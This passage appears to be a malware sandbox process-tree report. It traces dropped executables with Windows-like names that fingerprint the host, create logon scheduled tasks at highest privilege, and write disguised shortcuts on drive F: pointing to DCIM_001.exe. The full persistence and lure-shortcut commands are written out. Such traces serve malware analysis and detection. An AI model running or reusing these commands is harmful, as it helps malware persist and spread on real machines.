    PID:7688
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(Get-WmiObject Win32_BIOS).SerialNumber"
    3⤵
    PID:7232
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(Get-WmiObject Win32_ComputerSystem).Model"
    3⤵
    PID:1624
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn HostProcess_Service /tr C:\ProgramData\Microsoft\Windows\WindowsUpdate\WindowsPush_Provider.exe /sc ONLOGON /rl HIGHEST /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1328
- C:\Windows\system32\cmd.exe
  cmd /c "wmic csproduct get uuid"
  2⤵
  - Executes a command shell one-liner
  PID:6504
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic csproduct get uuid
    3⤵
    PID:5128
- C:\Windows\system32\cmd.exe
  cmd /c ver
  2⤵
  - Executes a command shell one-liner
  PID:6832
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command (Get-Culture).Name
  2⤵
  PID:4016
- C:\Windows\system32\cmd.exe
  cmd /c "wmic csproduct get uuid"
  2⤵
  PID:7088
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic csproduct get uuid
    3⤵
    PID:6368
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Get-CimInstance Win32_PnPEntity | Where-Object { $_.PNPClass -eq 'Camera' -or $_.PNPClass -eq 'Image' } | Select-Object -ExpandProperty Caption"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5632
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_Battery).EstimatedChargeRemaining"
  2⤵
  PID:6580
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -NonInteractive -Command "try { $p=New-Object -ComObject WMPlayer.OCX; Write-Output $p.settings.volume; [Runtime.InteropServices.Marshal]::ReleaseComObject($p) } catch { Write-Output 50 }"
  2⤵
  PID:2536
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -Command "$ws = New-Object -ComObject WScript.Shell; $sc = $ws.CreateShortcut('F:\Backup_2025.lnk'); $sc.TargetPath = 'F:\DCIM_001.exe'; $sc.WorkingDirectory = 'F:\'; $sc.Description = 'Open folder'; $sc.IconLocation = 'C:\Windows\system32\SHELL32.dll, 3'; $sc.Hotkey = 'Ctrl+Shift+E'; $sc.WindowStyle = 7; $sc.Save()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:6660
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-Process -Name 'windowsshell_provider' -ErrorAction SilentlyContinue).Count"
  2⤵
  - Hide Artifacts: Ignore Process Interrupts
  PID:5236
- C:\Users\Public\Documents\WindowsShell_Provider.exe
  C:\Users\Public\Documents\WindowsShell_Provider.exe
  2⤵
  PID:7748
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(Get-WmiObject Win32_DiskDrive | Measure-Object -Property Size -Sum).Sum / 1GB"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:7144
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(Get-WmiObject Win32_ComputerSystem).TotalPhysicalMemory / 1GB"
    3⤵
    PID:7248
- C:\Windows\System32\oobe\ServiceHost_LocalSystem.exe
  C:\Windows\System32\oobe\ServiceHost_LocalSystem.exe
  2⤵
  PID:7756
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(Get-WmiObject Win32_DiskDrive | Measure-Object -Property Size -Sum).Sum / 1GB"
    3⤵
    PID:4052
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(Get-WmiObject Win32_ComputerSystem).TotalPhysicalMemory / 1GB"
    3⤵
    PID:5220
- C:\Windows\Inf\WindowsShell_Helper.exe
  C:\Windows\Inf\WindowsShell_Helper.exe
  2⤵
  PID:7788
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(Get-WmiObject Win32_DiskDrive | Measure-Object -Property Size -Sum).Sum / 1GB"
    3⤵
    PID:7292
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(Get-WmiObject Win32_ComputerSystem).TotalPhysicalMemory / 1GB"
    3⤵
    PID:7980
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -Command "$ws = New-Object -ComObject WScript.Shell; $sc = $ws.CreateShortcut('F:\Documents.lnk'); $sc.TargetPath = 'F:\DCIM_001.exe'; $sc.WorkingDirectory = 'F:\'; $sc.Description = 'Open folder'; $sc.IconLocation = 'C:\Windows\system32\SHELL32.dll, 3'; $sc.Hotkey = 'Ctrl+Shift+E'; $sc.WindowStyle = 7; $sc.Save()"
  2⤵
  PID:6352
- C:\Windows\system32\cscript.exe
  cscript //nologo F:\svc.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:6184
- C:\Windows\system32\cmd.exe
  cmd /c "wmic csproduct get uuid"
  2⤵
  - Executes a command shell one-liner
  PID:8168
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic csproduct get uuid
    3⤵
    PID:6680
- C:\Windows\system32\cmd.exe
  cmd /c ver
  2⤵
  PID:6268
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command (Get-Culture).Name
  2⤵
  PID:8024
- C:\Windows\system32\cmd.exe
  cmd /c "wmic csproduct get uuid"
  2⤵
  PID:2580
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic csproduct get uuid
    3⤵
    PID:7612
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-Process -Name 'windowsshell_provider' -ErrorAction SilentlyContinue).Count"
  2⤵
  - Hide Artifacts: Ignore Process Interrupts
  PID:8044
- C:\Windows\system32\cmd.exe
  cmd /c "vol %systemdrive% 2>nul"
  2⤵
  - Executes a command shell one-liner
  PID:8100
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Get-CimInstance Win32_PnPEntity | Where-Object { $_.PNPClass -eq 'Camera' -or $_.PNPClass -eq 'Image' } | Select-Object -ExpandProperty Caption"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3724
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_Battery).EstimatedChargeRemaining"
  2⤵
  PID:5448
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -NonInteractive -Command "try { $p=New-Object -ComObject WMPlayer.OCX; Write-Output $p.settings.volume; [Runtime.InteropServices.Marshal]::ReleaseComObject($p) } catch { Write-Output 50 }"
  2⤵
  PID:6344
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -Command "$ws = New-Object -ComObject WScript.Shell; $sc = $ws.CreateShortcut('F:\Project_Files.lnk'); $sc.TargetPath = 'F:\DCIM_001.exe'; $sc.WorkingDirectory = 'F:\'; $sc.Description = 'Open folder'; $sc.IconLocation = 'C:\Windows\system32\SHELL32.dll, 3'; $sc.Hotkey = 'Ctrl+Shift+E'; $sc.WindowStyle = 7; $sc.Save()"
  2⤵
  PID:7900
- C:\Windows\system32\cscript.exe
  cscript //nologo F:\svc.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:5996
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -Command "$ws = New-Object -ComObject WScript.Shell; $sc = $ws.CreateShortcut('F:\Project_Files.lnk'); $sc.TargetPath = 'F:\DCIM_001.exe'; $sc.WorkingDirectory = 'F:\'; $sc.Description = 'Open folder'; $sc.IconLocation = 'C:\Windows\system32\SHELL32.dll, 3'; $sc.Hotkey = 'Ctrl+Shift+E'; $sc.WindowStyle = 7; $sc.Save()"
  2⤵
  PID:5528
- C:\Windows\system32\cscript.exe
  cscript //nologo F:\svc.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:4512
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-Process -Name 'windowsshell_provider' -ErrorAction SilentlyContinue).Count"
  2⤵
  - Hide Artifacts: Ignore Process Interrupts
  PID:608
- C:\Windows\system32\cmd.exe
  cmd /c "wmic csproduct get uuid"
  2⤵
  PID:6948
- C:\Windows\system32\cmd.exe
  cmd /c "vol %systemdrive% 2>nul"
  2⤵
  - Executes a command shell one-liner
  PID:3300
- C:\Windows\system32\cmd.exe
  cmd /c ver
  2⤵
  - Executes a command shell one-liner
  PID:4740
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command (Get-Culture).Name
  2⤵
  PID:7384
- C:\Windows\system32\cmd.exe
  cmd /c "wmic csproduct get uuid"
  2⤵
  PID:6732

C:\Users\Public\Documents\WindowsPush_Provider.exe
C:\Users\Public\Documents\WindowsPush_Provider.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:632
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_DiskDrive | Measure-Object -Property Size -Sum).Sum / 1GB"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2552
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_ComputerSystem).TotalPhysicalMemory / 1GB"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1968
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_NetworkAdapterConfiguration | Where-Object {$_.IPEnabled -eq $true}).MACAddress"
  2⤵
  PID:1540
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_BIOS).SerialNumber"
  2⤵
  PID:1680
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_ComputerSystem).Model"
  2⤵
  PID:1848
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn WindowsLicense_Service /tr C:\Windows\SystemApps\WindowsLicense_Manager.exe /sc ONLOGON /rl HIGHEST /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3828
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn RuntimeBroker_Service /tr C:\Windows\Registration\DataCenter_Service.exe /sc ONLOGON /rl HIGHEST /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3996
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn WindowsShell_Provider /tr C:\Windows\Inf\WindowsDefender_Update.exe /sc ONLOGON /rl HIGHEST /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4992
- C:\Windows\system32\cmd.exe
  cmd /c "wmic csproduct get uuid"
  2⤵
  PID:892
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic csproduct get uuid
    3⤵
    PID:5184
- C:\Windows\system32\cmd.exe
  cmd /c ver
  2⤵
  PID:5380
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command (Get-Culture).Name
  2⤵
  PID:5528
- C:\Windows\system32\cmd.exe
  cmd /c "wmic csproduct get uuid"
  2⤵
  - Executes a command shell one-liner
  PID:4980
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic csproduct get uuid
    3⤵
    PID:5256
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Get-CimInstance Win32_PnPEntity | Where-Object { $_.PNPClass -eq 'Camera' -or $_.PNPClass -eq 'Image' } | Select-Object -ExpandProperty Caption"
  2⤵
  PID:5384
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_Battery).EstimatedChargeRemaining"
  2⤵
  PID:1692
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -NonInteractive -Command "try { $p=New-Object -ComObject WMPlayer.OCX; Write-Output $p.settings.volume; [Runtime.InteropServices.Marshal]::ReleaseComObject($p) } catch { Write-Output 50 }"
  2⤵
  PID:5840
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -Command "$ws = New-Object -ComObject WScript.Shell; $sc = $ws.CreateShortcut('F:\Project_Files.lnk'); $sc.TargetPath = 'F:\DCIM_001.exe'; $sc.WorkingDirectory = 'F:\'; $sc.Description = 'Open folder'; $sc.IconLocation = 'C:\Windows\system32\SHELL32.dll, 3'; $sc.Hotkey = 'Ctrl+Shift+E'; $sc.WindowStyle = 7; $sc.Save()"
  2⤵
  PID:5756
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-Process -Name 'windowslicense_manager' -ErrorAction SilentlyContinue).Count"
  2⤵
  - Hide Artifacts: Ignore Process Interrupts
  PID:6412
- C:\Windows\SystemApps\WindowsLicense_Manager.exe
  C:\Windows\SystemApps\WindowsLicense_Manager.exe
  2⤵
  PID:6584
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(Get-WmiObject Win32_DiskDrive | Measure-Object -Property Size -Sum).Sum / 1GB"
    3⤵
    PID:7236
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(Get-WmiObject Win32_NetworkAdapterConfiguration | Where-Object {$_.IPEnabled -eq $true}).MACAddress"
    3⤵
    PID:6508
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(Get-WmiObject Win32_BIOS).SerialNumber"
    3⤵
    PID:8044
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(Get-WmiObject Win32_ComputerSystem).Model"
    3⤵
    PID:6816
- C:\Windows\Registration\DataCenter_Service.exe
  C:\Windows\Registration\DataCenter_Service.exe
  2⤵
  PID:6704
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(Get-WmiObject Win32_DiskDrive | Measure-Object -Property Size -Sum).Sum / 1GB"
    3⤵
    PID:6736
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(Get-WmiObject Win32_ComputerSystem).TotalPhysicalMemory / 1GB"
    3⤵
    PID:7684
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(Get-WmiObject Win32_NetworkAdapterConfiguration | Where-Object {$_.IPEnabled -eq $true}).MACAddress"
    3⤵
    PID:1628
- C:\Windows\Inf\WindowsDefender_Update.exe
  C:\Windows\Inf\WindowsDefender_Update.exe
  2⤵
  PID:6632
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(Get-WmiObject Win32_DiskDrive | Measure-Object -Property Size -Sum).Sum / 1GB"
    3⤵
    PID:7440
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(Get-WmiObject Win32_ComputerSystem).TotalPhysicalMemory / 1GB"
    3⤵
    PID:7488
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(Get-WmiObject Win32_NetworkAdapterConfiguration | Where-Object {$_.IPEnabled -eq $true}).MACAddress"
    3⤵
    PID:680
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(Get-WmiObject Win32_BIOS).SerialNumber"
    3⤵
    PID:1348
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(Get-WmiObject Win32_ComputerSystem).Model"
    3⤵
    PID:7848
- C:\Windows\system32\cmd.exe
  cmd /c "wmic csproduct get uuid"
  2⤵
  - Executes a command shell one-liner
  PID:6440
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic csproduct get uuid
    3⤵
    PID:6276
- C:\Windows\system32\cmd.exe
  cmd /c ver
  2⤵
  - Executes a command shell one-liner
  PID:6152
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command (Get-Culture).Name
  2⤵
  PID:7312
- C:\Windows\system32\cmd.exe
  cmd /c "wmic csproduct get uuid"
  2⤵
  PID:7384
- C:\Windows\system32\cmd.exe
  cmd /c "vol %systemdrive% 2>nul"
  2⤵
  PID:6176
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Get-CimInstance Win32_PnPEntity | Where-Object { $_.PNPClass -eq 'Camera' -or $_.PNPClass -eq 'Image' } | Select-Object -ExpandProperty Caption"
  2⤵
  PID:7700
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_Battery).EstimatedChargeRemaining"
  2⤵
  PID:6684
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -NonInteractive -Command "try { $p=New-Object -ComObject WMPlayer.OCX; Write-Output $p.settings.volume; [Runtime.InteropServices.Marshal]::ReleaseComObject($p) } catch { Write-Output 50 }"
  2⤵
  PID:3660
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -Command "$ws = New-Object -ComObject WScript.Shell; $sc = $ws.CreateShortcut('F:\Project_Files.lnk'); $sc.TargetPath = 'F:\DCIM_001.exe'; $sc.WorkingDirectory = 'F:\'; $sc.Description = 'Open folder'; $sc.IconLocation = 'C:\Windows\system32\SHELL32.dll, 3'; $sc.Hotkey = 'Ctrl+Shift+E'; $sc.WindowStyle = 7; $sc.Save()"
  2⤵
  PID:7448
- C:\Windows\system32\cscript.exe
  cscript //nologo F:\svc.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:7028
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-Process -Name 'windowslicense_manager' -ErrorAction SilentlyContinue).Count"
  2⤵
  - Hide Artifacts: Ignore Process Interrupts
  PID:3224
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -Command "$ws = New-Object -ComObject WScript.Shell; $sc = $ws.CreateShortcut('F:\Backup_2025.lnk'); $sc.TargetPath = 'F:\DCIM_001.exe'; $sc.WorkingDirectory = 'F:\'; $sc.Description = 'Open folder'; $sc.IconLocation = 'C:\Windows\system32\SHELL32.dll, 3'; $sc.Hotkey = 'Ctrl+Shift+E'; $sc.WindowStyle = 7; $sc.Save()"
  2⤵
  PID:7536
- - C:\Windows\system32\wermgr.exe
    "C:\Windows\system32\wermgr.exe" "-outproc" "0" "7536" "2220" "2132" "2224" "0" "0" "2228" "0" "0" "0" "0" "0"
    3⤵
    PID:8128
- C:\Windows\system32\cmd.exe
  cmd /c "wmic csproduct get uuid"
  2⤵
  PID:6516
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic csproduct get uuid
    3⤵
    PID:5604
- C:\Windows\system32\cmd.exe
  cmd /c ver
  2⤵
  - Executes a command shell one-liner
  PID:5416
- C:\Windows\system32\cmd.exe
  cmd /c "vol %systemdrive% 2>nul"
  2⤵
  - Executes a command shell one-liner
  PID:7576
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Get-CimInstance Win32_PnPEntity | Where-Object { $_.PNPClass -eq 'Camera' -or $_.PNPClass -eq 'Image' } | Select-Object -ExpandProperty Caption"
  2⤵
  PID:1680
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_Battery).EstimatedChargeRemaining"
  2⤵
  PID:7428
- C:\Windows\system32\cscript.exe
  cscript //nologo F:\svc.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:7252
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -NonInteractive -Command "try { $p=New-Object -ComObject WMPlayer.OCX; Write-Output $p.settings.volume; [Runtime.InteropServices.Marshal]::ReleaseComObject($p) } catch { Write-Output 50 }"
  2⤵
  PID:7084
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -Command "$ws = New-Object -ComObject WScript.Shell; $sc = $ws.CreateShortcut('F:\Project_Files.lnk'); $sc.TargetPath = 'F:\DCIM_001.exe'; $sc.WorkingDirectory = 'F:\'; $sc.Description = 'Open folder'; $sc.IconLocation = 'C:\Windows\system32\SHELL32.dll, 3'; $sc.Hotkey = 'Ctrl+Shift+E'; $sc.WindowStyle = 7; $sc.Save()"
  2⤵
  PID:5124
- C:\Windows\system32\cscript.exe
  cscript //nologo F:\svc.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:7520
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-Process -Name 'windowslicense_manager' -ErrorAction SilentlyContinue).Count"
  2⤵
  - Hide Artifacts: Ignore Process Interrupts
  PID:7608
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -Command "$ws = New-Object -ComObject WScript.Shell; $sc = $ws.CreateShortcut('F:\Documents.lnk'); $sc.TargetPath = 'F:\DCIM_001.exe'; $sc.WorkingDirectory = 'F:\'; $sc.Description = 'Open folder'; $sc.IconLocation = 'C:\Windows\system32\SHELL32.dll, 3'; $sc.Hotkey = 'Ctrl+Shift+E'; $sc.WindowStyle = 7; $sc.Save()"
  2⤵
  PID:7700
- C:\Windows\system32\cscript.exe
  cscript //nologo F:\svc.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:8124
- C:\Windows\system32\cmd.exe
  cmd /c "wmic csproduct get uuid"
  2⤵
  - Executes a command shell one-liner
  PID:6640

C:\Windows\SoftwareDistribution\WindowsPush_Agent.exe
C:\Windows\SoftwareDistribution\WindowsPush_Agent.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1424
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_DiskDrive | Measure-Object -Property Size -Sum).Sum / 1GB"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3592
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_ComputerSystem).TotalPhysicalMemory / 1GB"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3364
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_NetworkAdapterConfiguration | Where-Object {$_.IPEnabled -eq $true}).MACAddress"
  2⤵
  PID:3748
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_BIOS).SerialNumber"
  2⤵
  PID:4284
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_ComputerSystem).Model"
  2⤵
  PID:4748
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn DeviceAssociation_Broker /tr C:\Windows\ServiceProfiles\ComSurrogate_Service.exe /sc ONLOGON /rl HIGHEST /f
  2⤵
  PID:3388
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn SearchIndexer_Update /tr C:\Windows\Temp\WindowsModules_Helper.exe /sc ONLOGON /rl HIGHEST /f
  2⤵
  PID:1776
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn WindowsModules_Broker /tr C:\ProgramData\Microsoft\Windows\WindowsUpdate\WindowsPush_Helper.exe /sc ONLOGON /rl HIGHEST /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1976
- C:\Windows\system32\cmd.exe
  cmd /c "wmic csproduct get uuid"
  2⤵
  PID:2852
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic csproduct get uuid
    3⤵
    PID:2624
- C:\Windows\system32\cmd.exe
  cmd /c ver
  2⤵
  PID:220
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command (Get-Culture).Name
  2⤵
  PID:2204
- C:\Windows\system32\cmd.exe
  cmd /c "wmic csproduct get uuid"
  2⤵
  - Executes a command shell one-liner
  PID:5392
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic csproduct get uuid
    3⤵
    PID:5480
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Get-CimInstance Win32_PnPEntity | Where-Object { $_.PNPClass -eq 'Camera' -or $_.PNPClass -eq 'Image' } | Select-Object -ExpandProperty Caption"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5944
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_Battery).EstimatedChargeRemaining"
  2⤵
  PID:4720
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -NonInteractive -Command "try { $p=New-Object -ComObject WMPlayer.OCX; Write-Output $p.settings.volume; [Runtime.InteropServices.Marshal]::ReleaseComObject($p) } catch { Write-Output 50 }"
  2⤵
  PID:6112
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -Command "$ws = New-Object -ComObject WScript.Shell; $sc = $ws.CreateShortcut('F:\Project_Files.lnk'); $sc.TargetPath = 'F:\DCIM_001.exe'; $sc.WorkingDirectory = 'F:\'; $sc.Description = 'Open folder'; $sc.IconLocation = 'C:\Windows\system32\SHELL32.dll, 3'; $sc.Hotkey = 'Ctrl+Shift+E'; $sc.WindowStyle = 7; $sc.Save()"
  2⤵
  PID:6116
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-Process -Name 'comsurrogate_service' -ErrorAction SilentlyContinue).Count"
  2⤵
  - Hide Artifacts: Ignore Process Interrupts
  PID:6172
- C:\Windows\ServiceProfiles\ComSurrogate_Service.exe
  C:\Windows\ServiceProfiles\ComSurrogate_Service.exe
  2⤵
  PID:6868
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(Get-WmiObject Win32_DiskDrive | Measure-Object -Property Size -Sum).Sum / 1GB"
    3⤵
    PID:7904
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(Get-WmiObject Win32_ComputerSystem).TotalPhysicalMemory / 1GB"
    3⤵
    PID:7472
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(Get-WmiObject Win32_NetworkAdapterConfiguration | Where-Object {$_.IPEnabled -eq $true}).MACAddress"
    3⤵
    PID:5092
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(Get-WmiObject Win32_BIOS).SerialNumber"
    3⤵
    PID:1616
- C:\Windows\Temp\WindowsModules_Helper.exe
  C:\Windows\Temp\WindowsModules_Helper.exe
  2⤵
  PID:6876
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(Get-WmiObject Win32_DiskDrive | Measure-Object -Property Size -Sum).Sum / 1GB"
    3⤵
    PID:6300
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(Get-WmiObject Win32_ComputerSystem).TotalPhysicalMemory / 1GB"
    3⤵
    PID:6416
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(Get-WmiObject Win32_NetworkAdapterConfiguration | Where-Object {$_.IPEnabled -eq $true}).MACAddress"
    3⤵
    PID:5000
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(Get-WmiObject Win32_BIOS).SerialNumber"
    3⤵
    PID:8136
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(Get-WmiObject Win32_ComputerSystem).Model"
    3⤵
    PID:4816
- C:\ProgramData\Microsoft\Windows\WindowsUpdate\WindowsPush_Helper.exe
  C:\ProgramData\Microsoft\Windows\WindowsUpdate\WindowsPush_Helper.exe
  2⤵
  PID:6884
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(Get-WmiObject Win32_DiskDrive | Measure-Object -Property Size -Sum).Sum / 1GB"
    3⤵
    PID:6308
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(Get-WmiObject Win32_ComputerSystem).TotalPhysicalMemory / 1GB"
    3⤵
    PID:6848
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(Get-WmiObject Win32_NetworkAdapterConfiguration | Where-Object {$_.IPEnabled -eq $true}).MACAddress"
    3⤵
    PID:6252
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(Get-WmiObject Win32_BIOS).SerialNumber"
    3⤵
    PID:1204
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(Get-WmiObject Win32_ComputerSystem).Model"
    3⤵
    PID:5720
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn WindowsModules_Install /tr C:\Windows\System32\Drivers\BackgroundBroker_Service.exe /sc ONLOGON /rl HIGHEST /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:7956
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn BackgroundBroker_Service /tr C:\Windows\Media\WindowsLicense_Checker.exe /sc ONLOGON /rl HIGHEST /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3712
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn WindowsUpdate_Checker /tr "C:\Program Files (x86)\Common Files\ComSurrogate_Service.exe" /sc ONLOGON /rl HIGHEST /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6696
- C:\Windows\system32\cmd.exe
  cmd /c "wmic csproduct get uuid"
